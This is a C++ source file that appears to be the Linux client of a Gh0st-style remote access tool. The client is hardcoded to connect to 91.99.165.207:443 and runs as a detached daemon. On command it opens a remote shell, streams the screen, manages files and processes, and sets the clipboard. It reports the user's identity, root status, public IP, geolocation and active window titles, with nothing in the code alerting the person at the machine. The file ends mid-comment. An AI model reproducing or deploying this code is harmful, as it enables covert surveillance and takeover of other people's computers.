#include "common/commands.h" #include "client/IOCPClient.h" #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "common/PTYHandler.h" #include #include #include #include #include #include #include #include #include #include "ScreenHandler.h" #include "SystemManager.h" #include "common/FileManager.h" #include "ClipboardHandler.h" #include "common/FileTransferV2.h" #include "common/logger.h" #define XXH_INLINE_ALL #include "common/xxhash.h" #include "common/rtt_estimator.h" #include "common/client_auth_state.h" #include "common/posix_net_helpers.h" #include "common/sub_conn_thread.h" #include "LinuxConfig.h" int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength); // 远程地址:当前为写死状态,如需调试,请按实际情况修改 CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_LINUX }; // 全局状态 State g_bExit = S_CLIENT_NORMAL; static std::atomic g_needResendLogin(false); // 分组变更后需要重发登录信息 // 上次收到 HeartbeatACK 的 wall-clock 时间戳(ms),0 表示新连接刚建立尚未喂初值。 // 心跳循环用它检测应用层超时:TCP send() 永远不会因半死连接报错(数据塞进 SNDBUF // 立即返回成功),必须靠 ACK 缺失来感知链路死亡。用 wall-clock 而非 monotonic: // VM/笔记本挂起期间 system_clock 继续推进,恢复后能立即识别"几分钟没收到 ACK", // 这是相比 TCP_USER_TIMEOUT(内核层) 的关键互补价值。 static std::atomic g_lastHeartbeatAckMs(0); // 客户端 ID(V2 文件传输需要) uint64_t g_myClientID = 0; // 服务端身份校验全局状态已抽到 common/client_auth_state.h(namespace ClientAuth) // ============== UTF-8 → GBK 编码转换(服务端为 Windows GBK 环境) ============== static std::string utf8ToGbk(const std::string& utf8) { if (utf8.empty()) return utf8; iconv_t cd = iconv_open("GBK", "UTF-8"); if (cd == (iconv_t)-1) return utf8; size_t inLeft = utf8.size(); size_t outLeft = inLeft * 2; // GBK 最多 2 字节/字符,不会比 UTF-8 更长 std::string output(outLeft, '\0'); char* inPtr = const_cast(utf8.data()); char* outPtr = &output[0]; size_t ret = iconv(cd, &inPtr, &inLeft, &outPtr, &outLeft); iconv_close(cd); if (ret == (size_t)-1) return utf8; // 转换失败,原样返回 output.resize(output.size() - outLeft); return output; } // ============== 用户活动检测(对应 Windows 端 ActivityWindow) ============== // X11 额外类型定义(ScreenHandler.h 的前向声明未包含这些) #ifndef _X11_ATOM_DEFINED #define _X11_ATOM_DEFINED typedef unsigned long Atom; typedef int Bool_X; // 避免与 commands.h 中的 BOOL 冲突 typedef int Status_X; #endif // XScreenSaver 扩展的 Info 结构体(避免 #include ) struct XScreenSaverInfo_LNX { Window window; int state; int kind; unsigned long til_or_since; unsigned long idle; // 用户空闲毫秒数 unsigned long eventMask; }; class ActivityChecker { public: ActivityChecker() : m_x11(nullptr), m_xss(nullptr), m_display(nullptr), m_available(false) { // 加载 libX11 m_x11 = dlopen("libX11.so.6", RTLD_LAZY); if (!m_x11) m_x11 = dlopen("libX11.so", RTLD_LAZY); if (!m_x11) return; // 解析 X11 函数 pXOpenDisplay = (fn_XOpenDisplay)dlsym(m_x11, "XOpenDisplay"); pXCloseDisplay = (fn_XCloseDisplay)dlsym(m_x11, "XCloseDisplay"); pXDefaultScreen = (fn_XDefaultScreen)dlsym(m_x11, "XDefaultScreen"); pXRootWindow = (fn_XRootWindow)dlsym(m_x11, "XRootWindow"); pXInternAtom = (fn_XInternAtom)dlsym(m_x11, "XInternAtom"); pXGetWindowProperty = (fn_XGetWindowProperty)dlsym(m_x11, "XGetWindowProperty"); pXFree = (fn_XFree)dlsym(m_x11, "XFree"); pXSetErrorHandler = (fn_XSetErrorHandler)dlsym(m_x11, "XSetErrorHandler"); pXQueryExtension = (fn_XQueryExtension)dlsym(m_x11, "XQueryExtension"); if (!pXOpenDisplay || !pXCloseDisplay || !pXDefaultScreen || !pXRootWindow || !pXInternAtom || !pXGetWindowProperty || !pXFree) return; // 打开 Display 连接 m_display = pXOpenDisplay(nullptr); if (!m_display) return; // 静默 X11 错误,防止程序被杀 if (pXSetErrorHandler) pXSetErrorHandler((int(*)(Display*, void*))silentErrorHandler); // 预查询常用 Atom m_atomActiveWindow = pXInternAtom(m_display, "_NET_ACTIVE_WINDOW", 0); m_atomWmName = pXInternAtom(m_display, "_NET_WM_NAME", 0); m_atomUtf8String = pXInternAtom(m_display, "UTF8_STRING", 0); m_atomWmNameLegacy = pXInternAtom(m_display, "WM_NAME", 0); m_screen = pXDefaultScreen(m_display); m_root = pXRootWindow(m_display, m_screen); // 加载 libXss(可选,没有则无法获取空闲时间) // 先检查 X 服务器是否支持 MIT-SCREEN-SAVER 扩展 bool hasScrnsaverExt = false; if (pXQueryExtension) { int major_opcode, first_event, first_error; hasScrnsaverExt = pXQueryExtension(m_display, "MIT-SCREEN-SAVER", &major_opcode, &first_event, &first_error); } if (hasScrnsaverExt) { m_xss = dlopen("libXss.so.1", RTLD_LAZY); if (!m_xss) m_xss = dlopen("libXss.so", RTLD_LAZY); if (m_xss) { pXScreenSaverAllocInfo = (fn_XScreenSaverAllocInfo)dlsym(m_xss, "XScreenSaverAllocInfo"); pXScreenSaverQueryInfo = (fn_XScreenSaverQueryInfo)dlsym(m_xss, "XScreenSaverQueryInfo"); } } m_available = true; } ~ActivityChecker() { if (m_display && pXCloseDisplay) pXCloseDisplay(m_display); if (m_xss) dlclose(m_xss); if (m_x11) dlclose(m_x11); } // 主入口:返回用户活动描述字符串(与 Windows 端 ActivityWindow::Check 对齐) std::string Check(unsigned long threshold_ms = 6000) { if (!m_available) return ""; unsigned long idle = GetIdleTime(); if (idle < threshold_ms) { return GetActiveWindowTitle(); } return "Inactive: " + FormatMilliseconds(idle); } private: // X11 函数指针类型 typedef Display* (*fn_XOpenDisplay)(const char*); typedef int (*fn_XCloseDisplay)(Display*); typedef int (*fn_XDefaultScreen)(Display*); typedef Window (*fn_XRootWindow)(Display*, int); typedef Atom (*fn_XInternAtom)(Display*, const char*, int); typedef int (*fn_XGetWindowProperty)(Display*, Window, Atom, long, long, int, Atom, Atom*, int*, unsigned long*, unsigned long*, unsigned char**); typedef int (*fn_XFree)(void*); typedef int (*fn_XSetErrorHandler)(int(*)(Display*, void*)); typedef Bool_X (*fn_XQueryExtension)(Display*, const char*, int*, int*, int*); // XScreenSaver 函数指针类型 typedef XScreenSaverInfo_LNX* (*fn_XScreenSaverAllocInfo)(); typedef Status_X (*fn_XScreenSaverQueryInfo)(Display*, Drawable, XScreenSaverInfo_LNX*); // 函数指针实例 fn_XOpenDisplay pXOpenDisplay = nullptr; fn_XCloseDisplay pXCloseDisplay = nullptr; fn_XDefaultScreen pXDefaultScreen = nullptr; fn_XRootWindow pXRootWindow = nullptr; fn_XInternAtom pXInternAtom = nullptr; fn_XGetWindowProperty pXGetWindowProperty = nullptr; fn_XFree pXFree = nullptr; fn_XSetErrorHandler pXSetErrorHandler = nullptr; fn_XQueryExtension pXQueryExtension = nullptr; fn_XScreenSaverAllocInfo pXScreenSaverAllocInfo = nullptr; fn_XScreenSaverQueryInfo pXScreenSaverQueryInfo = nullptr; void* m_x11; void* m_xss; Display* m_display; bool m_available; int m_screen; Window m_root; Atom m_atomActiveWindow; Atom m_atomWmName; Atom m_atomUtf8String; Atom m_atomWmNameLegacy; static int silentErrorHandler(Display*, void*) { return 0; } // 获取用户空闲时间(毫秒),libXss 不可用时返回 0 unsigned long GetIdleTime() { if (!pXScreenSaverAllocInfo || !pXScreenSaverQueryInfo) return 0; XScreenSaverInfo_LNX* info = pXScreenSaverAllocInfo(); if (!info) return 0; unsigned long idle = 0; if (pXScreenSaverQueryInfo(m_display, m_root, info)) idle = info->idle; pXFree(info); return idle; } // 获取当前活动窗口标题(通过 EWMH _NET_ACTIVE_WINDOW + _NET_WM_NAME) std::string GetActiveWindowTitle() { // 第一步:从根窗口读取 _NET_ACTIVE_WINDOW 得到活动窗口 ID Atom actualType = 0; int actualFormat = 0; unsigned long nItems = 0, bytesAfter = 0; unsigned char* prop = nullptr; int ret = pXGetWindowProperty(m_display, m_root, m_atomActiveWindow, 0, 1, 0, (Atom)0 /* AnyPropertyType */, &actualType, &actualFormat, &nItems, &bytesAfter, &prop); if (ret != 0 || !prop || nItems == 0) { if (prop) pXFree(prop); return ""; } Window activeWin = *(Window*)prop; pXFree(prop); prop = nullptr; if (activeWin == 0) return ""; // 第二步:读取 _NET_WM_NAME (UTF-8),失败则回退 WM_NAME std::string title = GetWindowProperty(activeWin, m_atomWmName, m_atomUtf8String); if (title.empty()) title = GetWindowProperty(activeWin, m_atomWmNameLegacy, (Atom)0); return title; } // 通用窗口属性读取 std::string GetWindowProperty(Window win, Atom property, Atom reqType) { Atom actualType = 0; int actualFormat = 0; unsigned long nItems = 0, bytesAfter = 0; unsigned char* prop = nullptr; int ret = pXGetWindowProperty(m_display, win, property, 0, 512, 0, reqType, &actualType, &actualFormat, &nItems, &bytesAfter, &prop); if (ret != 0 || !prop || nItems == 0) { if (prop) pXFree(prop); return ""; } std::string result((char*)prop, nItems); pXFree(prop); return result; } static std::string FormatMilliseconds(unsigned long ms) { unsigned long totalSeconds = ms / 1000; unsigned long hours = totalSeconds / 3600; unsigned long minutes = (totalSeconds % 3600) / 60; unsigned long seconds = totalSeconds % 60; char buf[16]; sprintf(buf, "%02lu:%02lu:%02lu", hours, minutes, seconds); return buf; } }; // ============== 心跳保活 & RTT 估算 ============== // RttEstimator + g_rttEstimator + g_heartbeatInterval 已抽到 common/rtt_estimator.h // PTYHandler moved to common/PTYHandler.h (shared between Linux and macOS) void* ShellworkingThread(void* /*param*/) { RunSubConnThread( "ShellworkingThread", [](IOCPClient* c) { return std::unique_ptr(new PTYHandler(c)); }, [](IOCPClient* c, PTYHandler*) { BYTE bToken = TOKEN_TERMINAL_START; c->Send2Server((char*)&bToken, 1); Mprintf(">>> ShellworkingThread [%p] Send: TOKEN_TERMINAL_START\n", c); }); return NULL; } void* ScreenworkingThread(void* /*param*/) { RunSubConnThread( "ScreenworkingThread", [](IOCPClient* c) { return std::unique_ptr(new ScreenHandler(c)); }, [](IOCPClient* c, ScreenHandler* h) { // 连接后立即发送完整的 BITMAPINFO 包(与 Windows 端 ScreenManager 流程一致) h->SendBitmapInfo(); Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", c); }); return NULL; } void* SystemManagerThread(void* /*param*/) { RunSubConnThread( "SystemManagerThread", [](IOCPClient* c) { return std::unique_ptr(new SystemManager(c)); }, [](IOCPClient* c, SystemManager*) { Mprintf(">>> SystemManagerThread [%p] Send: TOKEN_PSLIST\n", c); }); return NULL; } void* FileManagerThread(void* /*param*/) { RunSubConnThread( "FileManagerThread", [](IOCPClient* c) { return std::unique_ptr(new FileManager(c)); }, [](IOCPClient* c, FileManager*) { Mprintf(">>> FileManagerThread [%p] Send: TOKEN_DRIVE_LIST\n", c); }); return NULL; } int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) { if (szBuffer == nullptr || ulLength == 0) return TRUE; // 服务端身份未通过校验前,仅放行 CMD_MASTERSETTING(校验本身)。详见 // common/client_auth_state.h ClientAuth::IsCommandAllowed 的注释。 if (!ClientAuth::IsCommandAllowed(szBuffer[0])) { return TRUE; } if (szBuffer[0] == COMMAND_BYE) { Mprintf("*** [%p] Received Bye-Bye command ***\n", user); g_bExit = S_CLIENT_EXIT; } else if (szBuffer[0] == COMMAND_SHELL) { std::thread(ShellworkingThread, nullptr).detach(); Mprintf("** [%p] Received 'SHELL' command ***\n", user); } else if (szBuffer[0] == COMMAND_SCREEN_SPY) { std::thread(ScreenworkingThread, nullptr).detach(); Mprintf("** [%p] Received 'SCREEN_SPY' command ***\n", user); } else if (szBuffer[0] == COMMAND_SYSTEM) { std::thread(SystemManagerThread, nullptr).detach(); Mprintf("** [%p] Received 'SYSTEM' command ***\n", user); } else if (szBuffer[0] == COMMAND_LIST_DRIVE) { std::thread(FileManagerThread, nullptr).detach(); Mprintf("** [%p] Received 'LIST_DRIVE' command ***\n", user); } else if (szBuffer[0] == CMD_HEARTBEAT_ACK) { if (ulLength >= 1 + sizeof(HeartbeatACK)) { HeartbeatACK* ack = (HeartbeatACK*)(szBuffer + 1); uint64_t now = GetUnixMs(); g_lastHeartbeatAckMs.store(now, std::memory_order_relaxed); // 喂应用层 ACK 看门狗 double rtt_ms = (double)(now - ack->Time); g_rttEstimator.update_from_sample(rtt_ms); // 心跳节奏太密日志会刷屏;最多 60s 一行 static time_t lastAckLog = 0; time_t now_s = time(nullptr); if (now_s - lastAckLog >= 60) { lastAckLog = now_s; Mprintf("** [%p] Heartbeat ACK: RTT=%.1fms, SRTT=%.1fms ***\n", user, rtt_ms, g_rttEstimator.srtt * 1000); } } } else if (szBuffer[0] == CMD_MASTERSETTING) { MasterSettings settings; if (!ClientAuth::HandleMasterSettings(szBuffer + 1, (int)ulLength - 1, &settings)) { return TRUE; // 包不全或签名失败:让 30s 超时兜底重连 } if (settings.ReportInterval > 0) g_heartbeatInterval = settings.ReportInterval; Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval); } else if (szBuffer[0] == COMMAND_NEXT) { Mprintf("** [%p] Received 'NEXT' command ***\n", user); } else if (szBuffer[0] == COMMAND_C2C_TEXT) { // C2C 文本剪贴板: [cmd:1][dstClientID:8][textLen:4][text:N] if (ulLength >= 13) { uint32_t textLen; memcpy(&textLen, szBuffer + 9, 4); if (ulLength >= 13 + textLen && textLen > 0) { if (!ClipboardHandler::IsAvailable()) { Mprintf("** [%p] C2C Text: clipboard unavailable (install xclip/xsel) ***\n", user); } else { std::string utf8Text((const char*)szBuffer + 13, textLen); if (ClipboardHandler::SetText(utf8Text)) { Mprintf("** [%p] C2C Text received: %u bytes ***\n", user, textLen); } else { Mprintf("** [%p] C2C Text clipboard set failed ***\n", user); } } } } } else if (szBuffer[0] == COMMAND_C2C_PREPARE) { // C2C 准备接收通知 FileTransferV2::HandleC2CPrepare(szBuffer, ulLength, nullptr); Mprintf("** [%p] C2C Prepare received ***\n", user); } else if (szBuffer[0] == COMMAND_SEND_FILE_V2 || szBuffer[0] == COMMAND_FILE_COMPLETE_V2) { // V2 文件接收 int result = FileTransferV2::RecvFileChunkV2(szBuffer, ulLength, g_myClientID); if (result != 0) { Mprintf("** [%p] V2 File recv error: %d ***\n", user, result); } } else if (szBuffer[0] == CMD_SET_GROUP) { // Extract group name from message (starts at byte 1) std::string groupName; if (ulLength > 1) { groupName = std::string((char*)szBuffer + 1, ulLength - 1); // Remove trailing nulls size_t pos = groupName.find('\0'); if (pos != std::string::npos) { groupName = groupName.substr(0, pos); } } // Save to config file LinuxConfig cfg; cfg.SetStr("group_name", groupName); // Update global settings memset(g_SETTINGS.szGroupName, 0, sizeof(g_SETTINGS.szGroupName)); strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1); // 标记需要重发登录信息(让服务端更新分组显示) g_needResendLogin.store(true); Mprintf("** [%p] Group changed to: %s ***\n", user, groupName.c_str()); } else { Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0])); } return TRUE; } // 方法1: 解析 lscpu 命令 double parse_lscpu() { std::array buffer; std::string result; std::unique_ptr pipe(popen("lscpu", "r"), pclose); if (!pipe) return -1.0; while (fgets(buffer.data(), buffer.size(), pipe.get())) { result += buffer.data(); } // 方法1a: 匹配 "Model name" 中的频率(如 "Intel(R) Core(TM) i5-6300HQ CPU @ 2.30GHz") std::regex model_regex("@ ([0-9.]+)GHz"); std::smatch match; if (std::regex_search(result, match, model_regex) && match.size() > 1) { try { return std::stod(match[1].str()) * 1000; // GHz -> MHz } catch (...) {} } // 方法1b: 匹配 "CPU max MHz" 或 "CPU MHz" 字段 std::regex mhz_regex("CPU (?:max )?MHz:\\s*([0-9.]+)"); if (std::regex_search(result, match, mhz_regex) && match.size() > 1) { try { return std::stod(match[1].str()); } catch (...) {} } return -1; } // 方法2: 解析 /proc/cpuinfo double parse_cpuinfo() { std::ifstream cpuinfo("/proc/cpuinfo"); std::string line; std::regex freq_regex("@ ([0-9.]+)GHz"); std::regex mhz_regex("cpu MHz\\s*:\\s*([0-9.]+)"); while (std::getline(cpuinfo, line)) { // 方法2a: 从 model name 提取 @ X.XXGHz if (line.find("model name") != std::string::npos) { std::smatch match; if (std::regex_search(line, match, freq_regex) && match.size() > 1) { try { return std::stod(match[1].str()) * 1000; // GHz -> MHz } catch (...) {} } } // 方法2b: 从 "cpu MHz" 字段提取 if (line.find("cpu MHz") != std::string::npos) { std::smatch match; if (std::regex_search(line, match, mhz_regex) && match.size() > 1) { try { return std::stod(match[1].str()); } catch (...) {} } } } return -1; } // 方法3: 从 sysfs 读取 CPU 频率 (最可靠) double parse_sysfs_freq() { // 尝试读取最大频率 const char* paths[] = { "/sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_max_freq", "/sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq", "/sys/devices/system/cpu/cpu0/cpufreq/base_frequency", }; for (const char* path : paths) { std::ifstream f(path); if (f.good()) { long freq_khz = 0; if (f >> freq_khz && freq_khz > 0) { return freq_khz / 1000.0; // KHz -> MHz } } } return -1; } // ============== 系统信息采集函数(用于填充 LOGIN_INFOR) ============== // 获取 Linux 发行版名称(如 "Ubuntu 24.04 LTS") std::string getLinuxDistro() { std::ifstream f("/etc/os-release"); std::string line; while (std::getline(f, line)) { if (line.compare(0, 13, "PRETTY_NAME=\"") == 0) { // PRETTY_NAME="Ubuntu 24.04.1 LTS" std::string name = line.substr(13); if (!name.empty() && name.back() == '"') name.pop_back(); return name; } } // 回退:使用 uname struct utsname u = {}; if (uname(&u) == 0) { return std::string(u.sysname) + " " + u.release; } return "Linux"; } // 获取 CPU 核心数 int getCPUCores() { long n = sysconf(_SC_NPROCESSORS_ONLN); return n > 0 ? (int)n : 1; } // 获取系统内存(GB) double getMemorySizeGB() { struct sysinfo si = {}; if (sysinfo(&si) == 0) { return si.totalram * (double)si.mem_unit / (1024.0 * 1024.0 * 1024.0); } return 0; } // 获取当前可执行文件路径 std::string getExePath() { char buf[1024] = {}; ssize_t len = readlink("/proc/self/exe", buf, sizeof(buf) - 1); if (len > 0) { buf[len] = '\0'; return buf; } return ""; } // 获取文件大小(格式化为 "1.2M" 或 "123K") std::string getFileSize(const std::string& path) { struct stat st = {}; if (stat(path.c_str(), &st) != 0) return "?"; char buf[32]; if (st.st_size >= 1024 * 1024) { sprintf(buf, "%.1fM", st.st_size / (1024.0 * 1024.0)); } else if (st.st_size >= 1024) { sprintf(buf, "%.1fK", st.st_size / 1024.0); } else { sprintf(buf, "%ldB", (long)st.st_size); } return buf; } // 获取当前用户名 std::string getUsername() { struct passwd* pw = getpwuid(getuid()); if (pw && pw->pw_name) return pw->pw_name; const char* u = getenv("USER"); return u ? u : "?"; } // 读取 systemd / dbus 维护的 machine-id(与 Windows MachineGuid 等价) // /etc/machine-id 在系统首次启动时生成的随机 32 字符 hex GUID。 // 对应 Windows: HKLM\Software\Microsoft\Cryptography\MachineGuid。 // 重装系统才会变;同一镜像 dd 出来的多机会撞——但规范的批量部署 // 工具 (cloud-init / kickstart) 会重置它。 static std::string getMachineId() { // 优先 /etc/machine-id;某些精简系统可能放在 /var/lib/dbus/machine-id const char* paths[] = { "/etc/machine-id", "/var/lib/dbus/machine-id" }; for (const char* p : paths) { std::ifstream f(p); if (!f.is_open()) continue; std::string id; std::getline(f, id); // 去掉尾部空白和换行 while (!id.empty() && (id.back() == '\n' || id.back() == '\r' || id.back() == ' ' || id.back() == '\t')) { id.pop_back(); } if (!id.empty()) return id; } return std::string(); } // 路径归一化(Linux 版):解析符号链接 + 转小写 // realpath 等价于 Windows 的 GetLongPathName,把 /usr/local/bin/../foo 这种 // 折回到规范形式;小写化避免大小写差异引起 ID 不同(Linux 文件系统本身大小写 // 敏感,但保持与 Windows V2 算法一致的归一化策略,跨端一致性优先)。 static std::string normalizeExePathLower(const std::string& path) { char resolved[PATH_MAX] = {}; std::string out; if (realpath(path.c_str(), resolved) != nullptr) { out = resolved; } else { out = path; // 解析失败(罕见):用原值 } for (auto& c : out) { if (c >= 'A' && c <= 'Z') c = c - 'A' + 'a'; } return out; } // 获取屏幕分辨率字符串(格式 "显示器数:宽*高") std::string getScreenResolution() { // 尝试通过 xrandr 获取 std::unique_ptr pipe(popen("xrandr --current 2>/dev/null", "r"), pclose); if (pipe) { char line[256]; // 匹配 "connected ... 1920x1080" 之类的行 int monitors = 0; int maxW = 0, maxH = 0; std::regex res_regex("\\s+(\\d+)x(\\d+)\\+"); while (fgets(line, sizeof(line), pipe.get())) { std::string s(line); if (s.find(" connected") != std::string::npos) { monitors++; std::smatch m; if (std::regex_search(s, m, res_regex) && m.size() > 2) { int w = std::stoi(m[1].str()); int h = std::stoi(m[2].str()); if (w > maxW) maxW = w; if (h > maxH) maxH = h; } } } if (monitors > 0 && maxW > 0) { char buf[64]; sprintf(buf, "%d:%d*%d", monitors, maxW, maxH); return buf; } } return "0:0*0"; } // execCmd / httpGet / getPublicIP / jsonExtract / getGeoLocation 已抽到 // common/posix_net_helpers.h(namespace PosixNet)。下面保留同名 wrapper,避免 // 改动调用点。Linux 历史调用风格保留:自由函数无 namespace。 static inline std::string execCmd(const std::string& cmd) { return PosixNet::execCmd(cmd); } static inline std::string httpGet(const std::string& url, int timeoutSec = 5) { return PosixNet::httpGet(url, timeoutSec); } static inline std::string jsonExtract(const std::string& json, const std::string& key) { return PosixNet::jsonExtract(json, key); } inline std::string getPublicIP() { return PosixNet::getPublicIP(); } inline std::string getGeoLocation(const std::string& ip){ return PosixNet::getGeoLocation(ip); } // ============== 守护进程 ============== // PID 文件路径(与配置文件同目录) static std::string getPidFilePath() { const char* xdg = getenv("XDG_CONFIG_HOME"); std::string dir; if (xdg && xdg[0]) { dir = std::string(xdg) + "/ghost"; } else { const char* home = getenv("HOME"); if (!home) home = "/tmp"; dir = std::string(home) + "/.config/ghost"; } mkdir(dir.c_str(), 0755); return dir + "/ghost.pid"; } static void writePidFile() { std::string path = getPidFilePath(); std::ofstream f(path, std::ios::trunc); f << getpid() << std::endl; } static void removePidFile() { unlink(getPidFilePath().c_str()); } // 检查是否已有实例在运行 static bool isAlreadyRunning() { std::ifstream f(getPidFilePath()); int pid = 0; if (f >> pid && pid > 0) { // kill(pid, 0) 不发信号,仅检查进程是否存在 if (kill(pid, 0) == 0) return true; } return false; } // 经典 Unix 双 fork 守护进程 static void daemonize() { pid_t pid = fork(); if (pid < 0) exit(1); if (pid > 0) exit(0); // 父进程退出 setsid(); // 新会话,脱离终端 pid = fork(); // 第二次 fork,防止重新获取控制终端 if (pid < 0) exit(1); if (pid > 0) exit(0); // 关闭标准文件描述符,重定向到 /dev/null close(STDIN_FILENO); close(STDOUT_FILENO); close(STDERR_FILENO); open("/dev/null", O_RDONLY); // fd 0 = stdin open("/dev/null", O_WRONLY); // fd 1 = stdout open("/dev/null", O_WRONLY); // fd 2 = stderr } // 信号处理:收到 SIGTERM/SIGINT 时优雅退出 // 注意:handler 内不能调 Mprintf(Logger 用 mutex/string/condvar,非 async-signal-safe), // 只在这里记 sig_atomic_t 标志位,main 退出循环后再补一行日志。 static volatile sig_atomic_t g_lastSignal = 0; static void signalHandler(int sig) { g_lastSignal = sig; g_bExit = S_CLIENT_EXIT; } static void setupSignals() { signal(SIGTERM, signalHandler); // kill 默认信号 signal(SIGINT, signalHandler); // Ctrl+C signal(SIGHUP, SIG_IGN); // 终端断开时忽略 signal(SIGPIPE, SIG_IGN); // 写入已关闭的 socket 时忽略 } // 用法: ./ghost [-d] [IP] [端口] // -d 后台守护进程模式 // 示例: ./ghost -d 192.168.1.100 6543 int main(int argc, char* argv[]) { // 解析 -d 参数 bool daemon_mode = false; int argStart = 1; if (argc > 1 && strcmp(argv[1], "-d") == 0) { daemon_mode = true; argStart = 2; } if (argStart + 1 < argc) { g_SETTINGS.SetServer(argv[argStart], atoi(argv[argStart + 1])); } else if (argStart < argc) { g_SETTINGS.SetServer(argv[argStart], g_SETTINGS.ServerPort()); } // 守护进程化(必须在 getpid() 等调用之前) if (daemon_mode) { if (isAlreadyRunning()) { fprintf(stderr, "ghost is already running.\n"); return 1; } daemonize(); } // 信号处理 setupSignals(); // 写 PID 文件(守护进程模式下 PID 已变为子进程的) writePidFile(); Mprintf("Server: %s:%d (PID: %d%s)\n", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort(), getpid(), daemon_mode ? ", daemon" : ""); char hostname[256] = {}; gethostname(hostname, sizeof(hostname)); LOGIN_INFOR logInfo; // 读取分组名称(从配置文件或 g_SETTINGS) LinuxConfig cfgGroup; std::string groupName = cfgGroup.GetStr("group_name"); if (!groupName.empty()) { // 更新 g_SETTINGS strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1); } else if (g_SETTINGS.szGroupName[0] != 0) { groupName = g_SETTINGS.szGroupName; } // 主机名(带分组:hostname/groupname) if (!groupName.empty()) { std::string pcNameWithGroup = std::string(hostname) + "/" + groupName; strncpy(logInfo.szPCName, pcNameWithGroup.c_str(), sizeof(logInfo.szPCName) - 1); } else { strncpy(logInfo.szPCName, hostname, sizeof(logInfo.szPCName) - 1); } logInfo.szPCName[sizeof(logInfo.szPCName) - 1] = '\0'; // 操作系统版本(如 "Ubuntu 24.04 LTS") std::string distro = getLinuxDistro(); strncpy(logInfo.OsVerInfoEx, distro.c_str(), sizeof(logInfo.OsVerInfoEx) - 1); logInfo.OsVerInfoEx[sizeof(logInfo.OsVerInfoEx) - 1] = '\0'; // 启动时间 strncpy(logInfo.szStartTime, ToPekingTimeAsString(nullptr).c_str(), sizeof(logInfo.szStartTime) - 1); logInfo.szStartTime[sizeof(logInfo.szStartTime) - 1] = '\0'; // CPU 主频 double freq = parse_sysfs_freq(); // 最可靠:从内核 sysfs 读取 if (freq < 0) freq = parse_lscpu(); if (freq < 0) freq = parse_cpuinfo(); logInfo.dwCPUMHz = freq > 0 ? static_cast(freq) : 0; // 摄像头 logInfo.bWebCamIsExist = 0; // 可执行文件路径 std::string exePath = getExePath(); // 读取配置文件(~/.config/ghost/config.conf) LinuxConfig cfg; // 安装时间:首次运行写入,后续从配置文件读取 std::string installTime = cfg.GetStr("install_time"); if (installTime.empty()) { installTime = ToPekingTimeAsString(nullptr); cfg.SetStr("install_time", installTime); Mprintf("First run, install_time saved: %s\n", installTime.c_str()); } // 公网 IP 和地理位置:缓存到配置文件,7 天过期后重新查询 std::string pubIP = cfg.GetStr("public_ip"); std::string location = cfg.GetStr("location"); int ipTime = cfg.GetInt("ip_time"); bool ipExpired = ipTime <= 0 || (time(nullptr) - ipTime > 7 * 86400); if (pubIP.empty() || location.empty() || ipExpired) { pubIP = getPublicIP(); if (!pubIP.empty()) { location = getGeoLocation(pubIP); cfg.SetStr("public_ip", pubIP); cfg.SetStr("location", location); cfg.SetInt("ip_time", (int)time(nullptr)); Mprintf("IP/Location updated: %s / %s\n", pubIP.c_str(), location.c_str()); } } // ============== 填充 szReserved(19 个字段,与服务端 LOGIN_RES 枚举一一对应)============== logInfo.AddReserved("LNX"); // [0] RES_CLIENT_TYPE logInfo.AddReserved(sizeof(void*) == 4 ? 32 : 64); // [1] RES_SYSTEM_BITS logInfo.AddReserved(getCPUCores()); // [2] RES_SYSTEM_CPU logInfo.AddReserved(getMemorySizeGB()); // [3] RES_SYSTEM_MEM logInfo.AddReserved(exePath.c_str()); // [4] RES_FILE_PATH logInfo.AddReserved("?"); // [5] RES_RESVERD logInfo.AddReserved(installTime.c_str()); // [6] RES_INSTALL_TIME logInfo.AddReserved("?"); // [7] RES_INSTALL_INFO logInfo.AddReserved(sizeof(void*) == 4 ? 32 : 64); // [8] RES_PROGRAM_BITS logInfo.AddReserved(""); // [9] RES_EXPIRED_DATE logInfo.AddReserved(location.c_str()); // [10] RES_CLIENT_LOC logInfo.AddReserved(pubIP.c_str()); // [11] RES_CLIENT_PUBIP logInfo.AddReserved("v1.0.0"); // [12] RES_EXE_VERSION logInfo.AddReserved(getUsername().c_str()); // [13] RES_USERNAME logInfo.AddReserved(getuid() == 0 ? 1 : 0); // [14] RES_ISADMIN logInfo.AddReserved(getScreenResolution().c_str()); // [15] RES_RESOLUTION // V2 ID 算法:machine-id + 归一化路径 // - 同机同程序路径永远同 ID(不依赖 IP/hostname/distro/CPU 漂移) // - 局域网多机即便同镜像,cloud-init/kickstart 会让 machine-id 各不同 // - machine-id 读取失败时退化到老算法(pubIP|hostname|distro|cpu|path)保兼容 std::string machineId = getMachineId(); if (!machineId.empty()) { std::string normPath = normalizeExePathLower(exePath); std::string idInput = machineId + "|" + normPath; g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0); Mprintf("Calculated clientID(v2): %llu (machineId=%s, path=%s)\n", g_myClientID, machineId.c_str(), normPath.c_str()); } else { // 老算法兜底(与服务端 CONTEXT_OBJECT::CalculateID 相同算法) // 格式: pubIP|hostname|os|cpu|path char cpuStr[32]; snprintf(cpuStr, sizeof(cpuStr), "%uMHz", logInfo.dwCPUMHz); std::string idInput = (pubIP.empty() ? "?" : pubIP) + "|" + hostname + "|" + distro + "|" + cpuStr + "|" + exePath; g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0); Mprintf("Calculated clientID(v1 fallback): %llu (machine-id 读取失败)\n", g_myClientID); } logInfo.AddReserved(std::to_string(g_myClientID).c_str()); // [16] RES_CLIENT_ID logInfo.AddReserved((int)getpid()); // [17] RES_PID logInfo.AddReserved(getFileSize(exePath).c_str()); // [18] RES_FILESIZE // 服务端签名输入:与服务端 AddList 处签名格式一致(startTime + "|" + clientID) ClientAuth::g_loginMsg = std::string(logInfo.szStartTime) + "|" + std::to_string(g_myClientID); // 